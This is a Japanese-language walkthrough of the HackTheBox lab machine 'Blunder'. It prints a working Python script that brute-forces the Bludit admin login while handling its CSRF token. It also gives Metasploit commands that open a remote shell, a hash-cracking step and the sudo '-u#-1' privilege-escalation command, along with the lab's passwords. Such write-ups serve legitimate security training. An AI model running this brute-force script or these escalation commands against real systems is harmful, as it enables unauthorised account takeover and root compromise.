Blunder Walk Through ~HackTheBox~


HackTheBox Blunderを攻略していきます。
答え合わせ程度に使ってください。

ポートスキャン

いつものごとく、まずはnmapを使ってポートスキャン。

nmap 10.10.10.191 -Pn -A -T4


ポート80しか開いていない。
とりあえずwebページにアクセスしてみます。

User Flag


特に何もなさそう。
このページのほかに、アクセスできるものがないか探します。
こういう時に便利なのがgobuster。
Wordリストを使って、ターゲットのアドレスに対していろんなuriで問い合わせしてコンテンツ探しをしてくれます。

gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirb/big.txt -x txt,php 2>/dev/null

-x : 検索対象の拡張子を指定できます。ここでは txtとphpにしました。
2>/dev/null : 無駄な出力を抑制します。

かなり時間かかりましたが、面白そうなコンテンツが見つかりました。
見たところでは、/adminとtodo.txtが名前としては気になります。
アクセスしてみます。


todo.txtはDevOPsのメモでしょうか。Turn off FTP - DONEはnmapでの調査結果と一致しています。
fergusという人物にimageが必要だということを知らせる必要があるようです。システムの関係者と思われます。
/adminにアクセスしてみました。loginフォームです。先ほどのfergusという名前はusernameとして利用可能かもしれません。このloginフォームを突破してみましょう。
アプローチはcewlによる関係Wordによる単語リスト作成と、それによる総あたりによるlogin試行という流れにしました。
まずはcewlでこのwebで使われている単語を集めて単語リストを作ります。

cewl -w blunderwords.txt -d 15 -m 7 http://10.10.10.191/

-w : 出力ファイル名
-d : 単語抽出のdepth
-m : 最小文字数

次に総当たり攻撃をするためのスクリプトを作成します。
まずは、login試行時にどのようなリクエストがなされているのか、burpを用いて、パケットをinterceptして確認します。


リクエストに必要な情報はすべてわかりました。
これを基に以下のようなスクリプトを作成します。(GitHubにもアップロードしてあるので作るの面倒な人は使ってください。https://github.com/bananamilksec/HackTheBox/blob/main/Blunder/blunder-brute.py)

bluder-brute.py
#Brute Force Attack Script for Blunder of HTB

################   Usage   #################
# python ./blunder-brute.py -t <target host url> -u <username> -w <wordlist directory>
# Example:
# python ./blunder-brute.py -t http://10.10.10.191/admin/login -u fergus -w /usr/share/wordlists/wordlist.txt

import argparse
import re
import requests
import sys

def open_resource(file_path):
    f = open(file_path, 'r')
    datalist = f.readlines()
    print('success get wordlist.')
    f.close()
    return datalist

parse = argparse.ArgumentParser()
parse.add_argument('-t','--target', help='target host url')
parse.add_argument('-u','--user', help='username')
parse.add_argument('-w','--wordlist', help='wordlist file path')
args = parse.parse_args()

target = args.target
user = args.user
passwordlist = open_resource(args.wordlist)

print("Start bruteforce attack to target url")
trynum = 0
for password in passwordlist:
    trynum += 1
    password = password.replace("\n","")
    session = requests.Session()
    login_page = session.get(target)
    # parse csrf token
    locate = login_page.text.find('name="tokenCSRF" value="')
    csrf_token = login_page.text[locate+len('name="tokenCSRF" value="'):locate+len('name="tokenCSRF" value="')+40]

    print('[*] Trying : {0} (Sum : {1}try)'.format(password,trynum))
    print('[*] Processing {}%'.format(int((trynum/len(passwordlist))*100)))

    headers = {
        'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
        'Referer' : target,
        'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Encoding' : 'gzip, deflate',
        'Content-Type' : 'application/x-www-form-urlencoded'
    }

    data = {
        'tokenCSRF' : csrf_token,
        'username' : user,
        'password' : password,
        'save' : ''
    }

    login_result = session.post(target,headers=headers,data=data,allow_redirects=False)

    if login_result.text.find('>Remember me</label>')==-1:
        print('SUCCESS!! Password Found!')
        print('username : {}'.format(user))
        print('password : {}'.format(password))
        break

実行します。

python3 ./<scriptname>.py -t http://10.10.10.191/admin/login -u fergus -w <your word file path>



パスワードを発見しました。パスワードはRolandDeschain。
早速log inしてみます。

ログインできました。
Bluditが使われているようです。exploit-dbを使って脆弱性を調べてみましょう。

metasploitを使用したexploitコードがあるようです。metasploit側でもじゅh-るを検索してみます。

msfconsole
search bludit


ありました。モジュール実行の設定を行います。

set BLUDITPASS RolandDeschain
set BLUDITUSER fergus
set RHOST 10.10.10.191
set RPORT 80


準備ができたら実行。

exploit


meterpreterが確立できました。shellに変えて、さらにpythonを使ってもう少し使いやすいリバースシェルにしましょう。

shell
python -c 'import pty; pty.spawn("/bin/bash")'

それではuser flagを獲得しに行きましょう。

権限足りなかったみたいです。権限昇格に使えそうなものを探します。user.phpというファイルを見つけました。有用そうなので中身を見てみます。
ハッシュ化されたパスを発見しました。adminのものです。

ハッシュ値をオンラインクラッカーでクラックします。crackstationを今回は使います。

見つかりました。パスワードはPassword120。
これでuserflagを獲得できます。

su hugo
Password120

Root Flag

root.txtを見ようとするも権限がありません。
sudoのバグを使った権限昇格を行います。

sudo -u#-1 /bin/bash

sudoはユーザのIDの存在確認を行わないません。-u#-1を指定したとき-u#0(rootのID)とみなされ、rootとして/bin/bashが実行されます。

権限昇格ができました。
root flagを獲得しましょう。

無事獲得できました。
お疲れさまでした。